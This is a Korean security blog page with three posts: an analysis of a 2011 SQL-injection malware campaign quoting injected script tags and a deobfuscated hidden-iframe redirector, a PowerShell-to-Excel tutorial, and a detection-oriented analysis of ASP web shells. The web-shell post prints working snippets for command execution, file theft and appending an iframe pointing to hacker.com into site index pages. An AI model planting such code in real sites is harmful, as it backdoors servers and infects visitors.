'스크립트'에 해당되는 글 5건

  1. 2011.06.29 웹 공격(SQL Injection)을 통한 악성코드 유포
  2. 2010.01.05 PowerShell로 원격 컴퓨터 정보를 엑셀에 삽입하기 (1)
  3. 2009.11.26 ASP 웹쉘 상세 분석 및 탐지 방안
2011.06.29 12:23

웹 공격(SQL Injection)을 통한 악성코드 유포

최근 Armorize라는 보안업체가 블로그에 공개한 내용에 따르면 다수의 사이트들을 대상으로 웹 공격이 발생하여 해킹된 후 악성코드가 유포되는 사례가 발생했다고 한다. 해당 업체의 블로그에는 이번 사례의 기술적인 내용과 해킹되어 악성코드를 유포했던 일부 사이트들이 공개되었다.

• Mass Meshing Injection: sidename.js ongoing:
http://blog.armorize.com/2011/06/mass-meshing-injection-sidenamejs.html

위 주소에 언급된 760개의 사이트들에 대해서 국가, 악성코드 유포, 취약점 등 여러 가지를 분석해 보았다. 참고로 위 주소에 공개된 760개의 사이트들을 참고하여 기반으로 분석 및 작성한 것이므로 실제 내용과는 차이가 있을 수 있다.


국가별 피해 사이트 현황

[그림 1] 국가별 피해 사이트 현황


760개의 사이트들에 대해서 국가별로 분류해본 결과 [그림 1]과 같고 US(미국)에 위치한 사이트들에서 피해가 가장 많이 발생했으며 ETC에 포함된 국가들도 마찬가지로 분류해 보면 아래 [그림 2]와 같다.

[그림 2] ETC에 포함된 국가별 피해 사이트 현황

[그림 2]를 보면 국내 사이트도 해킹되어 악성코드를 유포했던 것으로 확인되지만 해당 사이트 주소는 언급하지 않겠으며 760개 사이트들에 대해서 2011/06/18부터 24시간 동안 모니터링 한 결과 당시 상당 수의 사이트가 여전히 악성코드를 유포 중임을 확인했고 국가별로 분류해 보면 아래 [그림 3]과 같다.

[그림 3] 2011/06/18기준 국가별 피해현황

해당 일에 모니터링 했을 때는 [그림 2]에 포함되었던 국내 사이트는 조치가 되어 유포하지 않은 것으로 확인되었다.
전체적인 상황을 간단하게 요약해 보면 아래 [그림 4]와 같다.

[그림 4] 악성코드 유포의 전체구조

• 침해 사이트 분석
2011/06/18에 모니터링 한 760개 사이트들 중에 악성코드 유포하는 것으로 확인된 274개의 사이트들에는 아래 그림들에서 보는 것처럼 공통적으로 sidename.js라는 자바 스크립트 링크가 삽입되어 있었다.

Case 1:
<script type=""text/javascript"" src=""http://guitar******.com.ua/sidename.js""></script><script type=""text/javascript"" src=""http://chojno.pa*****.pl/counter.js""></script><html>
<head>

Case 2:
<script type=""text/javascript"" src=""http://*****2.ac.th/sidename.js""></script><!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Transitional//EN"" ""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"">

Case 3:
</head><body leftmargin=""0"" topmargin=""0"" marginwidth=""0"" marginheight=""0"" bgcolor=""#7B396A""><script type=""text/javascript"" src=""http://pla****.cp9.vpsi.pl/sidename.js""></script><center><table border=""0"" cellpadding=""0"" cellspacing=""0"">

3개의 Case들에서 봤듯이 sidename.js는 동일하지만 해당 자바 스크립트 파일이 링크된 주소는 고정적이지 않았다. 즉 다수의 URL들이 sidename.js를 위해서 사용되고 있었다는 의미이며, 이를 국가별로 분류를 해보면 아래 그림 [그림 4]와 같다.

[그림 5] sidename.js를 유포하기 위해서 사용된 주소의 국가별 분포

sidename.js는 아래 난독화 된 자바 스크립트 코드가 저장되어 있고 있으며,

ar=") Eh=,ye f(i?5:w8]6.0b<rsuz/;C{lAB1kNt>mTp'gv}a\"2oc[dn";ar2="R4c0c40c-8c-4c8c168c-12c4c-100c56c-128c184c-64c-72c96c-144c120c-140c116c-96c128c-128c184c-64c-52c36c-108c136c24c-12c-28c40c-28c-128c12c128c-84c112c12c-184c144c-168c204c-124c-12c-68c120c-116c0c0c40c-8c56c92c-28c-128c64c-52c //----- 중간생략 -----//

이를 난독화 해제해 보면 다른 URL들이 존재함을 알 수가 있다.

if (document.getElementsByTagName('body')[0]){   iframer();  } else {   document.write("<iframe src='http://zlrk****dnd.co.cc/showthread.php?t=21650812' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");  }  function iframer(){   var f = document.createElement('iframe');f.setAttribute('src','http://zlrk****dnd.co.cc/showthread.php?t=21650812');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');   document.getElementsByTagName('body')[0].appendChild(f);  }

showthread.php?t=21650812에 접속하면 forumthrea.php를 다운로드 하며 [그림 6]처럼 난독화된 코드가 존재한다.

[그림 6] 난독화된 forumthrea.php?tp=292714ca7b8c4510의 코드

[그림 6]에 나와있는 코드를 난독화 해제해 보면 아래 [그림 7]와 같다.

[그림 7] 난독화 해제된 forumthrea.php?tp=292714ca7b8c4510의 코드

브라우저를 통해서 forumthrea.php?tp=292714ca7b8c4510에 접속할 경우 아래 [그림 8 ]처럼  404 Not Found, 미디어 플레이어가 실행되는 것처럼 보이지만 실제로는 취약점이 존재하는 PDF가 다운로드 된 후 실행된다. 참고로 아래 [그림 8]에서 Adobe PDF Reader의 License Agreement창이 뜨는 것은 최초 설치과정에서 발생하는 것으로 보통 동의를 하게 되면 향후에는 뜨지 않는다. 즉 취약점 PDF는 실행되었을 때 사용자가 인지할 수 없도록 백그라운드에서 실행되므로 License Agreement창이 뜨는 것이 아니라는 의미이다.

[그림 8] forumthrea.php?tp=292714ca7b8c4510에 접속 시 증상

forumthrea.php도 sidename.js처럼 다수의 URL에서 다운로드 되도록 되어 있었고 해킹된 274개의 사이트와 연결된 forumthrea.php를 위한 URL은 대부분 루마니아(RU)에 위치한 URL이었으며 해당 URL들의 공통점을 아래와 같다.

http://?????.******tzisko.ru/forumthrea.php?tp=292714ca7b8c4510
http://?????.******yonah.ru/forumthrea.php?tp=292714ca7b8c4510

물음표로 된 곳이 랜덤한 문자열로 구성된 부분이고 그 이하는 고정적으로 사용되는 부분이다.

forumthrea.php?tp=292714ca7b8c4510에 접속 시 다운로드 되는 PDF를 분석해 보면 내부에 난독화된 자바 스크립트 코드가 존재한다.

* CVE-2006-3459 취약점 정보: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3459

[그림 9] PDF내에 존재하는 자바 스크립트 코드

 
[그림 10] 1차 난독화 해제 후 자바 스크립트 코드

1차 난독화 해제된 자바 스크립트 코드로부터 Shellcode를 얻어보면 아래와 같다.


Shellcode에는 악성 PDF가 실행될 때 파일을 다운로드 하도록 특정 URL이 암호화되어 있는데 복호화 해 보면 아래 [그림 11]과 같다.

[그림 11] 복호화 된 URL

복호화된 URL로부터 다운로드되는 악성코드가 실행될 경우 지속적으로 아래 IP들의 SSL(443)포트로 접속시도를 한다.

174.***.249.***    443
174.***.249.***    443
174.***.197.***    443

V3에서는 관련 악성코드를 아래와 같이 진단하고 있다.

PDF/Exploit(V3, 진단버전:2011.06.23.02)
Win-Trojan/Harebot.35328.K(V3, 진단버전:2011.06.23.02)


출처 : 안철수연구소 ASEC 대응팀 블로그

Trackback 0 Comment 0
2010.01.05 13:43

PowerShell로 원격 컴퓨터 정보를 엑셀에 삽입하기

스크립트를 작성할 때는 각자 익숙한 방법에 안주하기 쉽습니다. 매번 같은 방법으로 똑같은 결과를 얻으려 합니다.
예를 들어 모니터링과 관련해서, Windows PowerShell을 사용하면 로컬 컴퓨터의 프로세스 사용률에 대한 유용한 스냅숏을 쉽게 얻을 수 있습니다. Get-Process cmdlet을 사용하면 그림 1과 같은 깔끔한 출력을 얻게 됩니다.
그림 1 Get-Process를 사용하여 로컬 프로세스 살펴보기

Get-Process cmdlet의 결과는 다양한 상황에서 유용하게 사용할 수 있습니다. 대표적인 예로 열린 핸들의 수, 메모리 소모량에 대한 몇 가지 보기, CPU 사용률의 스냅숏 등을 표시합니다. 또한 Windows PowerShell 2.0에서는 Get-Process를 –computername 매개 변수와 함께 사용하여 원격 컴퓨터에서 이러한 개요 정보를 검색할 수 있습니다. 이렇게 편리한데 왜 다른 정보를 조사하는 데 사용하는 사람이 없을까요?
문제는 긴 데이터 열에 너무 많은 정보가 숨겨져 있다는 점입니다. 이러한 모든 데이터는 다시 또 중요한 세부 정보를 내포한 경우가 많습니다. 앞으로 Windows PowerShell 2.0에서 –computername 매개 변수를 지원하게 되면 좋겠지만 지금은 네트워크 관리자에게 아무런 소용이 없습니다. 따라서 원격 시스템을 모니터링하고 실질적으로 유용한 방식으로 정보를 표시하려면 WMI(Windows Management Instrumentation)와 Win32_Process WMI 클래스를 사용할 수밖에 없습니다. Get-Process의 출력이 너무 장황하다고 생각했다면 그림 2에 나와 있는 Win32_Process의 출력을 잘 살펴보십시오.
그림 2 WMI를 사용하여 프로세스 보기

자, 그럼 네트워크 관리자가 사용되는 메모리 용량에 대한 읽기 쉬운 보고서를 얻으려면 어떻게 해야 할까요? 바로 이 부분에서 발상을 전환하고 Excel 자동화로 눈길을 돌려야 합니다. 대부분 컴퓨터에 Microsoft Office Excel이 설치되어 있을 것입니다. 그리고 Scripting Guy와 마찬가지로 전문가는 아니지만 Microsoft Office system에 포함된 Excel을 유용하게 사용하고 있을 것입니다.
Excel을 자동화하는 것은 많이 어려울까요? Microsoft가 Excel에서 작동하도록 특별히 설계된 자동화 모델을 만든 덕분에 사실 Excel 자동화는 쉬운 편이라고 할 수 있습니다. 프로그램 ID는 Excel.Application이며 COM 개체입니다. Excel.Application 개체 인스턴스를 만들면 기본적으로 Excel이 시작 및 실행되지만 표시되지는 않습니다. 그러나 visible 속성을 사용하면 Excel을 표시할 수 있습니다.
Excel.Application 개체를 만들고 visible 속성의 상태를 쿼리한 다음 visible 속성을 true로 설정하는 코드는 다음과 같습니다.
PS C:\> $excel = New-Object -ComObject Excel.Application
PS C:\> $excel.Visible
False
PS C:\> $excel.Visible = $true

이렇게 설정하면 Excel 응용 프로그램의 셸과 유사한 다소 생소한 형태의 Excel 보기가 나타납니다(그림 3 참조). 통합 문서나 스프레드시트 없이 Excel 창만 있는 모습이라는 것을 알 수 있습니다.
그림 3 통합 문서나 스프레드시트가 없는 Excel 창

따라서 이 응용 프로그램에 통합 문서를 추가해야 합니다. 통합 문서를 추가하려면 workbook 개체의 add 메서드를 사용합니다. workbook 개체는 기본 Excel.Application 개체에서 액세스합니다. 다음에서 보듯이 Excel.Application 개체에는 $workbook이라는 변수에 workbook 개체가 저장됩니다. 
$workbook = $excel.Workbooks.add()

이제 특정 스프레드시트에 연결해야 합니다. Excel에 통합 문서를 추가하면 기본적으로 3개의 스프레드시트가 통합 문서에 추가됩니다. 이러한 스프레드시트는 번호로 지정할 수 있습니다. 다음 코드에서는 첫 번째 스프레드시트에 연결하고 반환된 spreadsheet 개체를 $sheet라는 변수에 저장합니다.
$sheet = $workbook.worksheets.Item(1)

다음으로 해당 스프레드시트에 데이터를 씁니다. Excel 스프레드시트의 정보는 셀에 저장됩니다. 셀은 스프레드시트에 존재하므로 $sheet 변수에 저장된 spreadsheet 개체를 사용하여 특정 셀에 액세스합니다. 이때는 스프레드시트의 행과 열을 나타내는 번호를 사용하면 됩니다. 여기서 한 가지 까다로운 점은 Excel 스프레드시트에서 행은 숫자이고 열은 문자라는 사실입니다. 그러나 자동화 모델을 사용할 때는 행과 열이 모두 숫자입니다. 첫 번째 숫자는 행을 나타내고 두 번째 숫자는 열을 나타냅니다. 다음과 같이 특정 셀에 값을 할당하기만 하면 셀에 쓸 수 있습니다.
$sheet.cells.item(1,1) = "Test"

Excel.Application 개체에 통합 문서를 추가하고 스프레드시트의 셀에 데이터를 추가하고 나면 Excel 통합 문서가 그림 4와 같이 됩니다. 
그림 4 셀에 값 추가

지금까지 설명한 내용을 한번 유용하게 사용해 보겠습니다. WMI에서 프로세스 정보의 컬렉션을 가져와 Excel 스프레드시트에 각 프로세스의 이름 및 메모리 사용량을 기록한 다음 사용된 메모리를 알기 쉽게 보여 주는 차트를 만들어봅니다. 이는 WriteProcessInformationToExcel.ps1의 기능을 잘 보여 주는 예라고 할 수 있습니다. 전체 스크립트는 TechNet Magazine 웹 사이트에서 다운로드할 수 있습니다.
먼저 Get-WmiObject cmdlet를 사용하여 프로세스에 대한 정보의 컬렉션을 검색하는 것으로 스크립트를 시작합니다. Win32_Process WMI 클래스를 사용하여 정보를 가져온 다음 $processes 변수에 저장합니다.
$processes = Get-WmiObject -class Win32_Process

이제 Excel.Application 개체의 인스턴스를 만들어 $excel 변수에 저장한 다음 응용 프로그램을 표시하고 통합 문서를 추가합니다. 모든 Excel 자동화 과정에서는 일반적으로 이 단계를 수행하게 됩니다. 해당 코드는 다음과 같습니다.
$excel = new-object -comobject excel.application
$excel.visible = $true
$workbook = $excel.workbooks.add()

Excel에서 성가신 부분 중 하나는 통합 문서에 항상 3개의 스프레드시트가 만들어진다는 점입니다. 대개 스프레드시트를 하나도 다 채우기가 어렵기 때문에 3개까지는 필요가 없습니다. 다행히 자동화 시에는 worksheets 컬렉션을 사용하여 세 번째 스프레드시트에 연결하고 delete 메서드를 호출함으로써 불필요한 스프레드시트를 삭제할 수 있습니다. 그리고 두 번째 스프레드시트도 같은 방법으로 삭제할 수 있습니다.
$workbook.workSheets.item(3).delete()
$workbook.WorkSheets.item(2).delete()

다음으로 남은 스프레드시트의 이름을 바꿉니다. ADO(ActiveX Data Objects)를 사용하여 Excel 스프레드시트를 쿼리할 경우 연결 문자열에 스프레드시트 이름을 사용하게 되므로 이는 중요한 단계라고 할 수 있습니다. 따라서 코드를 직관적이고 읽기 쉽도록 만들려면 스프레드시트에 논리적인 이름을 사용해야 합니다. 스프레드시트 이름을 바꾸려면 해당 스프레드시트의 name 속성에 새 값을 할당하면 됩니다. 다음은 첫 번째 스프레드시트의 이름을 "Processes"로 바꾸는 코드입니다.
$workbook.WorkSheets.item(1).Name = "Processes"

이제 이름을 바꾼 스프레드시트에 연결해야 합니다. worksheets 개체의 Item 메서드를 사용합니다. 이때 Item 메서드에는 스프레드시트 이름을 지정합니다.
$sheet = $workbook.WorkSheets.Item("Processes")

스프레드시트의 첫 번째 행에는 머리글 정보가 들어갑니다. 이 행에 테두리를 표시하고 속성 이름을 굵은 글꼴로 변경합니다. 결과적으로 데이터는 둘째 행부터 시작되므로 카운터 변수 $x에 2라는 값을 할당합니다.
$x = 2

다음으로 4줄의 코드로 4개의 열거형을 만듭니다. 열거형은 Excel에서 특정 형식의 옵션에 대해 허용되는 값을 알리는 데 사용됩니다. 예를 들어 xlLineStyle 열거형은 이중선, 점선 등 표시할 선의 종류를 결정하는 데 사용됩니다. 이러한 열거형 값 MSDN에 설명되어 있습니다.
코드를 알아보기 쉽도록 사용할 네 가지 열거형 각각에 대해 바로 가기 별칭을 만듭니다. 실질적으로 말하면 열거형 이름을 나타내는 문자열을 [type]에 넣는 것입니다. 이 기법은 상당히 유용합니다.
$lineStyle = "microsoft.office.interop.excel.xlLineStyle" -as [type]
$colorIndex = "microsoft.office.interop.excel.xlColorIndex" -as [type]
$borderWeight = "microsoft.office.interop.excel.xlBorderWeight" -as [type]
$chartType = "microsoft.office.interop.excel.xlChartType" -as [type]

이제 첫 번째 행의 서식을 지정해야 합니다. 굵은 글꼴로 변경하고 선을 xlDashDot로 정의하고 색이 자동으로 지정되도록 하고 테두리 두께를 보통으로 설정합니다.
For($b = 1 ; $b -le 2 ; $b++)
{
 $sheet.cells.item(1,$b).font.bold = $true
 $sheet.cells.item(1,$b).borders.LineStyle = $lineStyle::xlDashDot
 $sheet.cells.item(1,$b).borders.ColorIndex = $colorIndex::xlColorIndexAutomatic
 $sheet.cells.item(1,$b).borders.weight = $borderWeight::xlMedium
}

서식 지정이 끝나면 item 메서드로 셀을 선택하고 행과 열의 좌표를 지정하여 첫 번째 행에 값을 할당합니다. 다음으로 값을 직접 할당하여 열 머리글을 작성합니다.
$sheet.cells.item(1,1) = "Name of Process"
$sheet.cells.item(1,2) = "Working Set Size"

이제 WMI 쿼리 결과로 생성된 $processes 변수에 저장되어 있는 프로세스 정보를 적절한 셀에 넣어야 합니다. foreach 문을 사용하여 프로세스 정보 수집을 반복합니다. $process 변수를 수집을 위한 열거자(자리 표시자)로 정의하고 첫 번째 및 두 번째 열에 각각 name 속성과 workingSetSize 속성을 쓰도록 선택합니다.
바로 여기서 $x 변수가 사용됩니다. 둘째 행부터 시작하고 프로세스 수집을 반복하면서 $x 변수의 값을 증가시켜 항상 컬렉션의 현재 행을 가리키도록 합니다. 따라서 프로세스 정보의 $processes 컬렉션에 저장된 모든 데이터에 대해 코드를 반복할 수 있는 것입니다.
Foreach($process in $processes)
{
 $sheet.cells.item($x, 1) = $process.name
 $sheet.cells.item($x,2) = $process.workingSetSize
 $x++
} #end foreach

Excel 스프레드시트가 완성되면 셀 크기가 저장된 데이터 크기와 일치하도록 열 크기를 조정합니다. 이때 사용할 열 좌표를 지정하여 범위를 만들 수도 있지만 스프레드시트의 usedRange 속성을 사용하는 편이 간단합니다. range 개체를 만든 경우에는 EntireColumn 속성을 선택하고 AutoFit 메서드를 사용하여 열 크기를 조정합니다. 이 메서드는 항상 데이터를 반환하므로 결과를 Out-Null cmdlet에 전달합니다. 이렇게 하면 콘솔에 불필요한 정보가 어지럽게 출력되지 않아 좋습니다. 사용할 코드는 다음과 같습니다.
$range = $sheet.usedRange
$range.EntireColumn.AutoFit() | out-null

여기까지만 하면 모든 프로세스의 이름과 메모리 작업 집합이 표시된 깔끔한 스프레드시트를 얻을 수 있습니다. 그러나 한 걸음 더 나가서 차트까지 만들어보도록 하겠습니다. 차트는 쉽게 만들 수 있습니다. 통합 문서에서 charts 개체의 add 메서드를 사용합니다. 이 메서드는 불필요한 정보까지 반환하므로 다음과 같이 결과를 Out-Null cmdlet에 전달합니다.
$workbook.charts.add() | out-null  

위의 명령을 실행하면 꺾은선형 차트가 추가됩니다. 다른 종류의 차트를 정의하려면 차트 종류 열거형 값 중 하나를 사용해야 합니다. 이때 xl3DPieExploded 형식과 같은 microsoft.office.interop.excel.xlChartType 열거형 값 중 하나를 사용해도 됩니다. 이름으로도 알 수 있지만 xl3DPieExploded 형식은 쪼개지는 3차원 원형 차트를 만듭니다. 이 열거형을 ActiveChart 개체의 chartType 속성에 할당합니다. 그런 다음 $range 변수에 정의한 범위를 차트의 데이터 원본으로 할당합니다. 화면에서 결과는 꺾은선형 차트가 순간적으로 표시되었다가 3차원 원형 차트가 쪼개지는 것으로 나타납니다. 코드는 다음과 같습니다.
$workbook.ActiveChart.chartType = $chartType::xl3DPieExploded
$workbook.ActiveChart.SetSourceData($range)

재미삼아 원형 차트를 한번 회전시켜 보겠습니다. 차트를 회전시키려면 ActiveChart 개체의 rotation 속성을 사용합니다. 그리고 for 문을 사용하여 카운트를 360까지 15씩 증가시킵니다. 360은 원의 각도이며 차트는 한 번에 15도씩 회전하면서 원을 만듭니다. 결과는 꽤 멋지게 나타납니다. 코드는 다음과 같습니다.
For($i = 1 ; $i -le 360 ; $i +=15)
{
 $workbook.ActiveChart.rotation = $i
}

마지막으로 스프레드시트를 저장해야 합니다. 스프레드시트를 저장하려면 먼저 Test-Path cmdlet을 사용하여 같은 이름의 스프레드시트가 이미 있는지 확인합니다. 같은 이름의 스프레드시트가 있으면 Remove-Item cmdlet을 사용하여 기존 스프레드시트를 삭제한 다음 $strPath 변수에 저장된 위치에 현재 통합 문서를 저장합니다. Excel.Application 개체의 ActiveWorkbook 개체와 SaveAs 메서드를 사용하여 통합 문서를 저장합니다. 저장된 스프레드시트의 복사본이 없으면 ActiveWorkbook 개체의 SaveAs 메서드를 사용하여 바로 저장합니다.
IF(Test-Path $strPath)
  { 
   Remove-Item $strPath
   $Excel.ActiveWorkbook.SaveAs($strPath)
  }
ELSE
  {
   $Excel.ActiveWorkbook.SaveAs($strPath)
  }

이 스크립트를 실행하면 그림 5와 같은 차트가 나타납니다.
그림 5 Processes 쪼개진 원형 차트

스프레드시트 자체는 Processes 탭에 있습니다. 그림 6은 열 머리글, 테두리로 선택한 점선 스타일, 굵은 글꼴의 열 머리글을 보여 줍니다. 프로세스 이름 및 작업 집합 속성이 두 개의 데이터 열로 표시됩니다.
그림 6 완성된 스프레드시트

지금까지 보았듯이 Excel.Application 자동화 모델을 사용하면 서버에서 가져온 데이터를 Excel의 풍부하고 강력한 분석 및 차트 작성 도구를 활용하여 처리할 수 있습니다.


Perl로 하는 예제 코드
- http://talhatariq.wordpress.com/2006/06/20/a-perl-script-to-list-process-info-through-wmi-local-remote/

참고:
1. PowerShell 로 워드 문서 만들기
 - http://www.microsoft.com/technet/scriptcenter/resources/qanda/may09/hey0513.mspx
2. PowerShell 로 MySQL 사용하기
 - http://programming.torensma.net/2009/01/connect_powershell_to_mysql/
3. PowerShell 로 브라우저 컨트롤하기
 - http://msdn.microsoft.com/ko-kr/magazine/cc337896.aspx

출처 : http://swbae.egloos.com

Trackback 0 Comment 1
  1. 2010.01.05 14:50 address edit & del reply

    비밀댓글입니다

2009.11.26 19:11

ASP 웹쉘 상세 분석 및 탐지 방안

1. 개 요

가. 웹쉘이란?
웹쉘이란 공격자가 원격에서 대상 웹서버에 명령을 수행할 수 있도록 작성한 웹 스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc와 같은 데이터 파일종류 이외에 악의적으로 제작된 스크립트 파일인 웹쉘을 업로드하여 웹 서버를 해킹하는 사고가 빈번히 발생하고 있다. 최근에는 파일 업로드뿐만 아니라 SQL Injection과 같은 웹 취약점을 공격한 후 지속적으로 피해시스템을 관리할 목적으로 웹쉘을 생성 한다.

공격자는 웹쉘을 대상 서버에 업로드한 후 웹을 이용하여 시스템 명령어를 수행하므로 네트워크 방화벽 영향을 받지 않고 서버를 제어할 수 있다. 웹쉘은 웹페이지 소스코드 열람, 악성스크립트 (iframe 등) 삽입, 파일 업로드, 서버 및 데이터베이스 자료 유출 등의 다양한 공격이 가능하다.
최근 웹쉘은 탐지를 어렵게 하기 위해 웹쉘의 일부분만을 피해시스템에 업로드 하는 등 그 유형이 나날이 발전하고 있다.

나. 웹쉘의 위험성
2007년도 인터넷침해사고대응지원센터(www.krcert.or.kr)에서 한 해 동안 분석했던 피해 웹서버 중 웹쉘이 발견된 웹서버는 총 91%의 분포를 보였다. 이것은 공격자들이 취약점을 공격 한 후 웹쉘을 업로드하여 시스템을 통제하기가 수월하다보니 사용 빈도가 높은 것을 확인할 수 있다.

웹 취약점을 통해 피해시스템에 접근한 공격자는 방화벽에서 접근을 허용하는 HTTP (80/tcp) 서비스를 통해 피해시스템을 제어 하므로 웹쉘을 차단하기가 쉽지 않다.

피해시스템에서 수집된 ASP 웹쉘 샘플 한 개를 http://www.virustotal.com 사이트에서 각 바이러스 백신 엔진 탐지결과를 확인하였다. 아래 그림과 같이 많은 국내외 백신사에서 탐지 못하고 있으며 공격자들은 스크립트 웹쉘들을 빈번히 변경시켜 사용하기 때문에 백신들로서는 탐지하기가 쉽지 않다.

[그림] 웹쉘 백신탐지 결과

또한 일반적인 서버관리자들은 해킹여부를 확인하기 힘들고 피해를 인지하더라도 관리자들이 주로 사용하는 백신 프로그램에서 웹쉘 탐지가 안 되므로 웹쉘을 찾기가 쉽지 않다. 관리자들이 해킹 피해를 인지하고 시스템을 재설치 하더라도 이전에 웹쉘이 업로드 되어 있는 소스 그대로 새롭게 설치한 시스템에 복사하여 사용하기 때문에 지속적으로 웹쉘을 관리하는 공격자에게 피해를 입게 된다.

다. 웹쉘 최신 동향
o 인증된 공격자만 사용가능하도록 패스워드를 입력받거나, 특정 세션 값으로 세팅해야만 기능 들을 사용할 수 있는 웹쉘들이 많다.
[그림] 웹쉘 사용자 인증

o ASP의 eval, execute 메소드 등은 원격에 있는 공격자로부터 웹쉘 실행코드를 전달 받아 실행 하는데 많이 이용되고 있다. 이 같은 Eval, Execute 코드는 정상적인 스크립트 파일에도 삽입이 가능해 웹쉘 탐지가 더욱 어려워지고 있다.

o 최근 각 백신 사, 관리자들에 의해 웹쉘 탐지가 늘어 공격자들은 여러 기능을 하는 웹쉘 코드를 각 기능별로 웹쉘들을 분리하여 사용하고 있다. 그 중 파일 생성 기능, DB 쿼리 기능을 하는 웹쉘 파일들이 빈번하게 발견되고 있다.
o ASP 스크립트의 경우 웹 소스를 보호하기 위해 인코딩하는 Script Encoder를 제공하고 있다.
이러한 인코더를 악용하여 웹쉘을 인코딩하고 백신탐지를 우회하고 있다.

o 공격자들은 웹쉘이 업로드 되어있는 피해시스템 웹쉘 URL을 관리하기 위해 관리프로그램들을 사용하고 있다. 중국 해커들은 아래와 같은 관리프로그램을 개발하여 자신들이 장악했던 피해 사이트들을 체계적으로 관리하고 있다.
[그림] 웹쉘 관리 프로그램

2. ASP 웹쉘 상세 분석
최근 국내에서 발생하고 있는 피해 시스템 웹서버 대부분은 윈도우가 차지하고 있다. 윈도우, IIS, ASP 환경의 사이트들이 특히 SQL Injection 공격에 취약할 경우 이러한 취약점을 이용하는 자동화 공격 도구들로 인해 쉽게 악성코드 유포지, 경유지로 악용되고 있다. 이러한 윈도우 피해시스템을 공격하는데 많이 사용되는 ASP 웹쉘의 기능과 동향에 대해 상세히 살펴보도록 하겠다.

가. 각 기능별 웹쉘 분석

■ 명령어 및 각종 어플리케이션 실행
ASP 웹쉘에서는 윈도우에서 시스템 명령어나 외부 프로그램을 실행하기 위해 Wscript.Shell, Shell.Application 오브젝트를 이용한다. Wscript.Shell 오브젝트는 메소드 Run, Exec를 이용하여 시스템 명령어 및 외부 프로그램을 실행할 수 있다.

o Wscript.Shell
- Run (cmd, 0, True)
- Exec (cmd)
Set WshShell = Server.CreateObject (“WScript.Shell”)
Call WshShell.Run (cmd, 0, True)
Set WshShell = CreateObject (“WScript.Shell”)
Set oExec = WshShell.Exec (cmd)

시스템 명령어 또는 프로그램을 실행할 수 있는 또 다른 방법은 Shell.Application 오브젝트의
ShellExecute 메소드를 이용하는 것이다.

o Shell.Application
- Shellexecute“ Application”,“ Argument”,“ Path”,“ ”, 1
set objShell = CreateObject(“Shell.Application”)
objShell.ShellExecute “notepad.exe”, “ ”, “ ”, “open”, 1

■ 파일 조작
파일관련 조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를 사용한다. 이 중에서 Scripting.FileSystemObject, Adodb.Stream 을 이용한 파일 조작 방법에 대해 살펴보도록 하겠다.

o Scripting.FileSystemObject
- 파일 리스팅
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set f = fso.GetFolder(folderpath)
Set fp = f.Files
For Each f1 in fp
s = s & f1.name
Next

- 파일 보기
fso는 Scripting.FileSystemObject로 생성한 오브젝트이다.
Set f = fso.OpenTextFile(“c:\testfile.txt”)
ra = f.ReadAll

- 파일 생성 및 수정
Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True)
MyFile.Write Contents

- 파일 이동 및 삭제
fso.CopyFile Path1, Path2
fso.CopyFolder Path1, Path2
fso.DeleteFile Path
fso.DeleteFolder Path

■ 파일 다운로드
o Adodb.Stream
Set stream = Server.CreateObject”Adodb.Stream”)
stream.Open
stream.Type = 1
stream.LoadFromFile(Path)
Response.AddHeader “Content-Disposition”, “attachment; filename=” & FileName
Response.AddHeader “Content-Length”, stream.Size
Response.Charset = “UTF-8”
Response.ContentType = “application/octet-stream”
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing

■ 파일 업로드
Adodb.Stream 오브젝트를 이용하여 파일을 업로드 한다. 관련 메소드들은 아래와 같다.
※ 구현 예제 코드 생략
o Adodb.Stream
- Write
- Read
- SaveToFile

■ 웹페이지들에 악성스크립트 삽입 기능
웹쉘에서는 악성코드를 유포하기 위해 각 html 파일들이나 스크립트 파일에 악성 스크립트 (iframe)를 삽입하는 기능이 있다.

o 정규표현식으로 아래와 같이 악성스크립트를 삽입할 파일명을 정의한다. default, index main 등 홈페이지 메인페이지 이름을 갖는 html 파일들이나 스크립트 파일들을 정규표현 식으로 찾는다.
- (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b

o 그리고 아래와 같은 iframe 악성 스크립트 코드를 삽입한다.
- <IFRAME height=0 src="http://hacker.com/m.htm" width=0></IFRAME>
◈ 정규 표현식으로 파일이름을 검사하여 메인 페이지를 찾는다.
Set regEx=New RegExp
regEx.Pattern=”(\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b”
regEx.IgnoreCase=True
retVal=regEx.Test(path)

◈ 위 정규 표현식으로 검색된 파일의 끝에 iframe 코드를 삽입한다.
Set fs=Server.createObject(“Scripting.FileSystemObject”)
Set f=fs.GetFile(path)
Set f_addcode=f.OpenAsTextStream(8,-2) // 포인터는 파일 끝으로 이동하고 쓰기 모드로 연다
f_addcode.Write “<IFRAME src="http://hacker.com/m.htm" width=0 height=0></IFRAME>”
f_addcode.Close

■ 데이터베이스 열람 및 조작
데이터베이스에 접속하기 위해서는 Adodb.Connection 오브젝트를 사용하고 아래와 같은 메소드를 이용하여 데이터베이스 연결 및 SQL 쿼리 문들을 실행할 수 있다.
Set Con = Server.CreateObject(“Adodb.Connection”)
Con.Open “Provider=SQLOLEDB;Data
Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD”
SQL = “SELECT * FROM table”
Set RS = Con.Execute(SQL)

■ 레지스트리 조작
윈도우는 모든 시스템 구성 정보나 사용자 설정 정보를 레지스트리에 저장한다. 웹쉘에서는 아래와 같은 Wscript.Shell 오브젝트와 관련 메소드를 이용하여 레지스트리 확인 및 조작 한다.

※ 구현 예제 코드 생략
o Wscript.Shell
- RegRead
- RegWrite
- RegDelete
웹쉘에서 참조하는 레지스트리 값들은 아래와 같다.
- 터미널 서비스 포트, PortNumber 키 값 변경
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
